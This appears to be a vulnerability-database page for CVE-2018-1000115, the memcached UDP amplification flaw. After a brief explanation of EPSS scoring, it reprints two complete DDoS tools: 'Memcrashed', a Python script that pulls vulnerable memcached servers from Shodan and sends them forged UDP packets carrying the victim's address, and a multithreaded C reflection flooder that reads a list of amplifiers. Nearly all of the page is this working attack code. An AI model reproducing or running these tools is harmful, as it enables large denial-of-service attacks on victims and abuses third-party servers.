CVE-2018-1000115 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

#-- coding: utf8 -- #!/usr/bin/python # Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44265.zip import sys, os, time, shodan from pathlib import Path from scapy.all import * from contextlib import contextmanager starttime=time.time() @contextmanager def suppress_stdout(): with open(os.devnull, "w") as devnull: old_stdout = sys.stdout sys.stdout = devnull try: yield finally: sys.stdout = old_stdout class color: HEADER = '\033[0m' keys = Path("./api.txt") logo = color.HEADER + ''' ███╗ ███╗███████╗███╗ ███╗ ██████╗██████╗ █████╗ ███████╗██╗ ██╗███████╗██████╗ ████╗ ████║██╔════╝████╗ ████║██╔════╝██╔══██╗██╔══██╗██╔════╝██║ ██║██╔════╝██╔══██╗ ██╔████╔██║█████╗ ██╔████╔██║██║ ██████╔╝███████║███████╗███████║█████╗ ██║ ██║ ██║╚██╔╝██║██╔══╝ ██║╚██╔╝██║██║ ██╔══██╗██╔══██║╚════██║██╔══██║██╔══╝ ██║ ██║ ██║ ╚═╝ ██║███████╗██║ ╚═╝ ██║╚██████╗██║ ██║██║ ██║███████║██║ ██║███████╗██████╔╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═════╝╚═╝ ╚═╝╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝╚══════╝╚═════╝ Author: @037 Version: 3.1 ####################################### DISCLAIMER ######################################## | Memcrashed is a tool that allows you to use Shodan.io to obtain hundreds of vulnerable | | memcached servers. It then allows you to use the same servers to launch widespread | | distributed denial of service attacks by forging UDP packets sourced to your victim. | | Default payload includes the memcached "stats" command, 10 bytes to send, but the reply | | is between 1,500 bytes up to hundreds of kilobytes. Please use this tool responsibly. | | I am NOT responsible for any damages caused or any crimes committed by using this tool. | ########################################################################################### ''' print(logo) if keys.is_file(): with open('api.txt', 'r') as file: SHODAN_API_KEY=file.readlines() else: file = open('api.txt', 'w') SHODAN_API_KEY = input('[*] Please enter a valid Shodan.io API Key: ') file.write(SHODAN_API_KEY) print('[~] File written: ./api.txt') file.close() while True: api = shodan.Shodan(SHODAN_API_KEY) print('') try: myresults = Path("./bots.txt") query = input("[*] Use Shodan API to search for affected Memcached servers? <Y/n>: ").lower() if query.startswith('y'): print('') print('[~] Checking Shodan.io API Key: %s' % SHODAN_API_KEY) results = api.search('product:"Memcached" port:11211') print('[✓] API Key Authentication: SUCCESS') print('[~] Number of bots: %s' % results['total']) print('') saveresult = input("[*] Save results for later usage? <Y/n>: ").lower() if saveresult.startswith('y'): file2 = open('bots.txt', 'a') for result in results['matches']: file2.write(result['ip_str'] + "\n") print('[~] File written: ./bots.txt') print('') file2.close() saveme = input('[*] Would you like to use locally stored Shodan data? <Y/n>: ').lower() if myresults.is_file(): if saveme.startswith('y'): ip_arrayn = [] with open('bots.txt') as my_file: for line in my_file: ip_arrayn.append(line) ip_array = [s.rstrip() for s in ip_arrayn] else: print('') print('[✘] Error: No bots stored locally, bots.txt file not found!') print('') if saveme.startswith('y') or query.startswith('y'): print('') target = input("[▸] Enter target IP address: ") power = int(input("[▸] Enter preferred power (Default 1): ") or "1") data = input("[▸] Enter payload contained inside packet: ") or "\x00\x00\x00\x00\x00\x01\x00\x00stats\r\n" print('') if query.startswith('y'): iplist = input('[*] Would you like to display all the bots from Shodan? <Y/n>: ').lower() if iplist.startswith('y'): print('') counter= int(0) for result in results['matches']: host = api.host('%s' % result['ip_str']) counter=counter+1 print('[+] Memcache Server (%d) | IP: %s | OS: %s | ISP: %s |' % (counter, result['ip_str'], host.get('os', 'n/a'), host.get('org', 'n/a'))) time.sleep(2.0 - ((time.time() - starttime) % 2.0)) if saveme.startswith('y'): iplistlocal = input('[*] Would you like to display all the bots stored locally? <Y/n>: ').lower() if iplistlocal.startswith('y'): print('') counter= int(0) for x in ip_array: host = api.host('%s' % x) counter=counter+1 print('[+] Memcache Server (%d) | IP: %s | OS: %s | ISP: %s |' % (counter, x, host.get('os', 'n/a'), host.get('org', 'n/a'))) time.sleep(2.0 - ((time.time() - starttime) % 2.0)) print('') engage = input('[*] Ready to engage target %s? <Y/n>: ' % target).lower() if engage.startswith('y'): if saveme.startswith('y'): for i in ip_array: if power>1: print('[+] Sending %d forged UDP packets to: %s' % (power, i)) with suppress_stdout(): send(IP(src=target, dst='%s' % i) / UDP(dport=11211)/Raw(load=data), count=power) elif power==1: print('[+] Sending 1 forged UDP packet to: %s' % i) with suppress_stdout(): send(IP(src=target, dst='%s' % i) / UDP(dport=11211)/Raw(load=data), count=power) else: for result in results['matches']: if power>1: print('[+] Sending %d forged UDP packets to: %s' % (power, result['ip_str'])) with suppress_stdout(): send(IP(src=target, dst='%s' % result['ip_str']) / UDP(dport=11211)/Raw(load=data), count=power) elif power==1: print('[+] Sending 1 forged UDP packet to: %s' % result['ip_str']) with suppress_stdout(): send(IP(src=target, dst='%s' % result['ip_str']) / UDP(dport=11211)/Raw(load=data), count=power) print('') print('[•] Task complete! Exiting Platform. Have a wonderful day.') break else: print('') print('[✘] Error: %s not engaged!' % target) print('[~] Restarting Platform! Please wait.') print('') else: print('') print('[✘] Error: No bots stored locally or remotely on Shodan!') print('[~] Restarting Platform! Please wait.') print('') except shodan.APIError as e: print('[✘] Error: %s' % e) option = input('[*] Would you like to change API Key? <Y/n>: ').lower() if option.startswith('y'): file = open('api.txt', 'w') SHODAN_API_KEY = input('[*] Please enter valid Shodan.io API Key: ') file.write(SHODAN_API_KEY) print('[~] File written: ./api.txt') file.close() print('[~] Restarting Platform! Please wait.') print('') else: print('') print('[•] Exiting Platform. Have a wonderful day.') break

/** memcached-PoC memcached Proof of Concept Amplification via spoofed source UDP packets. Repo includes source code for PoC and approximately 17,000 AMP hosts. memcached.c - Source code (https://pastebin.com/raw/ZiUeinae) memecache-amp-03-05-2018-rd.list - List of memcached servers as of 03-05-2018 (https://pastebin.com/raw/eSCHTTVu) Compile: gcc memcached.c -o memecached -pthread *Educational and/or testing purposes only. *Use of these tools against an unauthorized party may be unethtical, rude, and even illegal in some countries. **/ /* memcache reflection script greeting: syn, storm, krashed, chrono, spike, niko, disliked Use with extreme Caution */ #include <time.h> #include <pthread.h> #include <unistd.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <netinet/ip.h> #include <netinet/udp.h> #include <arpa/inet.h> #define MAX_PACKET_SIZE 8192 #define PHI 0x9e3779b9 static uint32_t Q[4096], c = 362436; struct list { struct sockaddr_in data; struct list *next; struct list *prev; }; struct list *head; volatile int tehport; volatile int limiter; volatile unsigned int pps; volatile unsigned int sleeptime = 100; struct thread_data{ int thread_id; struct list *list_node; struct sockaddr_in sin; }; void init_rand(uint32_t x) { int i; Q[0] = x; Q[1] = x + PHI; Q[2] = x + PHI + PHI; for (i = 3; i < 4096; i++) { Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; } } uint32_t rand_cmwc(void) { uint64_t t, a = 18782LL; static uint32_t i = 4095; uint32_t x, r = 0xfffffffe; i = (i + 1) & 4095; t = a * Q[i] + c; c = (t >> 32); x = t + c; if (x < c) { x++; c++; } return (Q[i] = r - x); } unsigned short csum (unsigned short *buf, int nwords) { unsigned long sum = 0; for (sum = 0; nwords > 0; nwords--) sum += *buf++; sum = (sum >> 16) + (sum & 0xffff); sum += (sum >> 16); return (unsigned short)(~sum); } void setup_ip_header(struct iphdr *iph) { iph->ihl = 5; iph->version = 4; iph->tos = 0; iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 15; iph->id = htonl(54321); iph->frag_off = 0; iph->ttl = MAXTTL; iph->protocol = IPPROTO_UDP; iph->check = 0; iph->saddr = inet_addr("192.168.3.100"); } void setup_udp_header(struct udphdr *udph) { udph->source = htons(5678); udph->dest = htons(11211); udph->check = 0; memcpy((void *)udph + sizeof(struct udphdr), "\x00\x01\x00\x00\x00\x01\x00\x00stats\r\n", 15); udph->len=htons(sizeof(struct udphdr) + 15); } void *flood(void *par1) { struct thread_data *td = (struct thread_data *)par1; char datagram[MAX_PACKET_SIZE]; struct iphdr *iph = (struct iphdr *)datagram; struct udphdr *udph = (/*u_int8_t*/void *)iph + sizeof(struct iphdr); struct sockaddr_in sin = td->sin; struct list *list_node = td->list_node; int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP); if(s < 0){ fprintf(stderr, "Could not open raw socket.\n"); exit(-1); } init_rand(time(NULL)); memset(datagram, 0, MAX_PACKET_SIZE); setup_ip_header(iph); setup_udp_header(udph); udph->source = htons(rand() % 65535 - 1026); iph->saddr = sin.sin_addr.s_addr; iph->daddr = list_node->data.sin_addr.s_addr; iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1); int tmp = 1; const int *val = &tmp; if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){ fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n"); exit(-1); } init_rand(time(NULL)); register unsigned int i; i = 0; while(1){ sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data)); list_node = list_node->next; iph->daddr = list_node->data.sin_addr.s_addr; iph->id = htonl(rand_cmwc() & 0xFFFFFFFF); iph->check = csum ((unsigned short *) datagram, iph->tot_len >> 1); pps++; if(i >= limiter) { i = 0; usleep(sleeptime); } i++; } } int main(int argc, char *argv[ ]) { if(argc < 6){ fprintf(stderr, "Invalid parameters!\n"); fprintf(stdout, "Usage: %s <target IP> <port> <reflection file> <threads> <pps limiter, -1 for no limit> <time>\n", argv[0]); exit(-1); } srand(time(NULL)); int i = 0; head = NULL; fprintf(stdout, "Setting up sockets...\n"); int max_len = 128; char *buffer = (char *) malloc(max_len); buffer = memset(buffer, 0x00, max_len); int num_threads = atoi(argv[4]); int maxpps = atoi(argv[5]); limiter = 0; pps = 0; int multiplier = 20; FILE *list_fd = fopen(argv[3], "r"); while (fgets(buffer, max_len, list_fd) != NULL) { if ((buffer[strlen(buffer) - 1] == '\n') || (buffer[strlen(buffer) - 1] == '\r')) { buffer[strlen(buffer) - 1] = 0x00; if(head == NULL) { head = (struct list *)malloc(sizeof(struct list)); bzero(&head->data, sizeof(head->data)); head->data.sin_addr.s_addr=inet_addr(buffer); head->next = head; head->prev = head; } else { struct list *new_node = (struct list *)malloc(sizeof(struct list)); memset(new_node, 0x00, sizeof(struct list)); new_node->data.sin_addr.s_addr=inet_addr(buffer); new_node->prev = head; new_node->next = head->next; head->next = new_node; } i++; } else { continue; } } struct list *current = head->next; pthread_t thread[num_threads]; struct sockaddr_in sin; sin.sin_family = AF_INET; sin.sin_addr.s_addr = inet_addr(argv[1]); struct thread_data td[num_threads]; for(i = 0;i<num_threads;i++){ td[i].thread_id = i; td[i].sin= sin; td[i].list_node = current; pthread_create( &thread[i], NULL, &flood, (void *) &td[i]); } fprintf(stdout, "Starting flood...\n"); for(i = 0;i<(atoi(argv[6])*multiplier);i++) { usleep((1000/multiplier)*1000); if((pps*multiplier) > maxpps) { if(1 > limiter) { sleeptime+=100; } else { limiter--; } } else { limiter++; if(sleeptime > 25) { sleeptime-=25; } else { sleeptime = 0; } } pps = 0; } return 0; }